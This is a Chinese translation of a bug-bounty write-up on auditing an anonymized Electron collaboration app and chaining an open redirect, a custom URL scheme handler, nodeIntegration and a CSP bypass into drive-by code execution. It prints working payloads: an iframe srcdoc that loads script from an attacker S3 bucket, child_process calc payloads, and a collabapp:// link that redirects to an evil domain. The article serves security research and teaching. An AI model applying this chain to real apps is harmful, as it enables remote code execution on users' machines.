从开放重定向到RCE:Electron代码审计实战

本文详细分析了如何通过Electron应用的白盒审计,将开放重定向漏洞升级为远程代码执行,涉及nodeIntegration配置、CSP绕过等技术细节,最终实现无需浏览器0day的驱动式代码执行。

Open Sesame: 通过Electron代码审计将开放重定向升级为RCE

这是Node的世界 - 我们只是生活在其中 🔗

无论好坏,Node.js已经在开发者人气榜上飞速攀升。得益于React、React Native和Electron等框架,开发者可以轻松为移动和原生平台构建客户端。这些客户端本质上是对单个JavaScript文件的薄包装。

就像任何现代便利设施一样,这也有权衡。在安全方面,将路由和模板逻辑移到客户端使得攻击者更容易发现未使用的API端点、未混淆的密钥等。查看我写的Webpack Exploder工具,它可以将Webpack打包的React应用反编译回原始源代码。

对于原生桌面应用,Electron应用甚至更容易反编译和调试。攻击者无需费力使用Ghidra/Radare2/Ida和大量汇编代码,而是可以使用Electron内置的Chromium DevTools。同时,Electron文档建议将应用打包成asar存档,这是一种类似tar的格式,可以用简单的一行命令解包。

有了源代码,攻击者可以搜索客户端漏洞并将其升级为代码执行。不需要复杂的缓冲区溢出 - Electron的nodeIntegration设置让应用距离弹出计算器只有一个XSS的距离。

我喜欢白盒测试应用的方法。如果你知道要找什么,可以放大弱点并跟踪漏洞利用在代码中的传递过程。

这篇博文将介绍我对某个漏洞赏金计划中未命名Electron应用的白盒审计。我将展示如何通过一些调试将开放重定向升级为远程代码执行。代码样本已经过修改和匿名化处理。

从白盒到漏洞利用 🔗

我的旅程始于某天看到Jasmin的推文后,受到启发自己进行一些Electron黑客攻击。我首先在MacOS上安装应用,然后获取源代码:

  1. 浏览到应用文件夹
  2. 右键点击应用并选择"显示包内容"
  3. 进入包含app.asar文件的Contents目录
  4. 运行npx asar extract app.asar source(需要安装Node)
  5. 在新的source目录中查看反编译的源代码!

发现易受攻击的配置 🔗

查看package.json,我发现配置"main": "app/index.js",告诉我主进程是从index.js文件启动的。快速检查index.js确认大多数BrowserWindow实例的nodeIntegration设置为true。这意味着我可以轻松将攻击者控制的JavaScript升级为原生代码执行。当nodeIntegration为true时,窗口中的JavaScript可以访问原生Node.js函数如require,从而导入危险模块如child_process。这导致了经典的Electron计算器payload:require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){})

尝试XSS 🔗

现在我需要做的就是找到XSS向量。该应用是一个跨平台协作工具(类似Slack或Zoom),因此有很多输入如文本消息或共享上传。我使用electron . --proxy-server=127.0.0.1:8080从源代码启动应用,通过Burp Suite代理网络流量。

我开始在每个输入中测试HTML payload如<b>pwned</b>。不久后,我得到了第一个"pwned"!这是个有希望的迹象。然而,标准的XSS payload如<script>alert()</script><svg onload=alert()>根本无法执行。我需要开始调试。

绕过CSP 🔗

默认情况下,你可以使用键盘快捷键Ctrl+Shift+I或F12键在Electron应用中访问DevTools。我猛按这些键但没有任何反应。似乎应用已经移除了默认键盘快捷键。为了解决这个谜题,我在源代码中搜索了globalShortcut(Electron的键盘快捷键模块)。出现了一个结果:

1
2
3
electron.globalShortcut.register('CommandOrControl+H', () => {
    activateDevMenu();
});

啊哈!应用有自己的自定义键盘快捷键来打开秘密菜单。我输入CMD+H,菜单栏中出现了一个开发者菜单。它包含许多有用的项目如Update和Callback,但最重要的是,它有DevTools!我打开DevTools并继续测试我的XSS payload。很快清楚了它们失败的原因 - DevTools控制台中弹出一条错误消息,抱怨违反内容安全策略(CSP)。应用本身加载了一个带有以下CSP的URL:

1
Content-Security-Policy: script-src 'self' 'unsafe-eval' https://cdn.heapanalytics.com https://heapanalytics.com https://*.s3.amazonaws.com https://fast.appcues.com https://*.firebaseio.com

CSP排除了unsafe-inline策略,阻止了像svg payload这样的事件处理程序。此外,由于我的payload是使用JavaScript动态注入到页面中的,典型的<script>标签无法执行。幸运的是,CSP有一个致命错误:它允许通配符URL。特别是https://*.s3.amazonaws.com策略允许我从自己的S3桶包含脚本!为了动态注入和执行脚本标签,我使用了从Intigriti的复活节XSS挑战中学到的一个技巧,该技巧使用了iframe的srcdoc属性:

1
<iframe srcdoc='<script src=https://myeviljsbucket.s3.amazonaws.com/evilscript.js></script>'></iframe>

(我匿名化了源URL。)

就这样,我得到了可爱的alert框!肾上腺素飙升,我将evilscript.js修改为window.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){}),重新发送XSS payload,然后…什么都没有。

需求之屋 🔗

回到DevTools控制台,我注意到以下错误:Uncaught TypeError: window.require is not a function。这令人困惑,因为当nodeIntegration设置为true时,像require这样的Node.js函数应该包含在window中。回到源代码,我注意到创建易受攻击的BrowserWindow时的这些代码行:

1
2
3
4
5
6
7
8
const appWindow = createWindow('main', {
    width: 1080,
    height: 660,
    webPreferences: {
        nodeIntegration: true,
        preload: path.join(__dirname, 'preload.js')
    },
});

查看preload.js:

1
2
3
4
window.nodeRequire = require;
delete window.require;
delete window.exports;
delete window.module;

啊哈!应用在预加载序列中重命名/删除了require。这不是通过模糊实现安全的尝试;这是Electron文档中的样板代码,为了让像AngularJS这样的第三方JavaScript库工作!正如我之前提到的,不安全的配置是易受攻击应用中的一贯主题。通过打开nodeIntegration并将require重新引入窗口,代码执行成为显著可能。

再做一次调整(使用window.parent.nodeRequire,因为我从iframe执行XSS),我发送了我的新payload,然后得到了我的计算器!

驱动式代码执行 🔗

在我查看原生应用之前,我在Web应用中发现了开放重定向,位于页面https://collabapplication.com/redirect.jsp?next=//evil.com。然而,分类员要求我展示额外的影响。原生应用的一个功能是能够从浏览器中的网页链接打开新窗口。

考虑像Slack和Zoom这样的应用。你是否曾经想过如何在zoom.us上打开链接,然后被提示打开你的Zoom应用?

这是因为这些网站试图打开已被原生应用注册的自定义URL方案。例如,Zoom向你的操作系统注册了zoommtg自定义URL方案,因此如果你安装了Zoom并尝试在浏览器中打开zoommtg://zoom.us/start?confno=123456789&pwd=xxxx(试试看!),你将被提示打开原生应用。在一些安全性较低的浏览器中,你甚至根本不会被提示!

我注意到易受攻击的应用有类似的功能。如果我访问网站上的某个页面,它会在原生应用中打开协作房间。深入研究代码,我找到了这个处理程序:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
function isWhitelistedDomain(url) {
    var allowed = ['collabapplication.com'];
    var test = extractDomain(url);

    if( allowed.indexOf(test) > -1 ) {
        return true;
    }

    return false;
};

let launchURL = parseLaunchURL(fullURL)

if isWhitelistedDomain(launchURL) {
    appWindow.loadURL(launchURL)
} else {
    appWindow.loadURL(homeURL)
}

让我们分解一下。当原生应用从自定义URL方案启动时(本例中为collabapp://collabapplication.com?meetingno=123&pwd=abc),此URL被传递到启动处理程序。启动处理程序提取collabapp://之后的URL,检查提取URL中的域是否为collabapplication.com,如果通过检查,则在应用窗口中加载该URL。

虽然白名单检查代码本身是正确的,但安全机制极其脆弱。只要collabapplication.com中存在单个开放重定向,你就可以强制原生应用在应用窗口中加载任意URL。结合nodeIntegration漏洞,你只需要重定向到一个调用window.parent.nodeRequire(...)的恶意页面即可获得代码执行!

我的最终payload如下:collabapp://collabapplication.com/redirect.jsp?next=%2f%2fevildomain.com%2fevil.html。在evil.html上,我简单地运行了window.parent.nodeRequire('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){})

现在,如果受害用户访问任何加载恶意自定义URL方案的网页,计算器就会弹出!无需浏览器0day的驱动式代码执行。

这是我们生活的世界 🔗

随着新应用在COVID-19大流行后蓬勃发展,开发者可能会倾向于采取可能导致毁灭性安全漏洞的捷径。这些漏洞无法快速修复,因为它们是由开发周期早期的错误引起的。

回想易受攻击应用的nodeIntegration和预加载问题 - 除非这些架构和配置问题得到修复,否则应用将始终保持脆弱和易受攻击。即使他们修补了一个XSS或开放重定向,这些漏洞的任何新实例都会导致代码执行。同时,关闭nodeIntegration会破坏整个应用。需要从那时起重写应用。

像Electron这样的Node.js框架允许开发者使用他们熟悉的语言和工具快速构建原生应用。然而,用户空间是一个完全不同的威胁环境;在浏览器中弹出alert与应用中弹出calc非常不同。开发者和用户应该小心行事。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计